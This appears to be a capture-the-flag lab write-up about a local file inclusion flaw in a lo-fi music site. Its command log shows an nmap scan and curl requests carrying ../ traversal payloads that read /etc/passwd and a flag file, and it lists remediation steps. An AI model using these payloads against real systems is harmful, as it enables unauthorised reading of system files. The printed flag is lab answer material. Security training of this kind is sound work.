Music-page path parameter LFI to filesystem flag
Foundations web engagement: lo-fi music site passed page paths into a file include; directory traversal read /etc/passwd and the root-level engagement artifact.
Apache served a music UI whose query path included local files. Traversal to /etc/passwd confirmed LFI; ../../../../flag.txt returned the artifact.
Confirmed LFI with /etc/passwd; retrieved flag.txt via the same parameter.
Engagement summary
Apache served a music UI whose query path included local files. Traversal to /etc/passwd confirmed LFI; ../../../../flag.txt returned the artifact.
LO-FI exposed SSH and Apache 2.2.22. Track links used a path/query parameter to load page content. Substituting ../../../../etc/passwd rendered passwd entries in the response. The same primitive read ../../../../flag.txt from the filesystem root — no auth, no allowlist.
Business impact
Unvalidated file includes are full filesystem disclosure and often RCE via log poison. Resolve includes against a fixed map of page ids; never concatenate user input into filesystem paths.
Path traversal and artifact read
Confirmed LFI with /etc/passwd; retrieved flag.txt via the same parameter.
OPERATOR · LFI
savvy@lab:~$ nmap -sV -sC 10.10.63.207
22/tcp open ssh
80/tcp open http Apache httpd 2.2.22
savvy@lab:~$ curl -s 'http://10.10.63.207/?page=../../../../etc/passwd' | head
root:x:0:0:root:/root:/bin/bash
savvy@lab:~$ curl -s 'http://10.10.63.207/?page=../../../../flag.txt'
flag{e4478e0eab69bd642b8238765dcb7d18}
Remediation
Whitelist page names; use realpath and verify the resolved path stays under the content root. Disable path traversal in the front controller.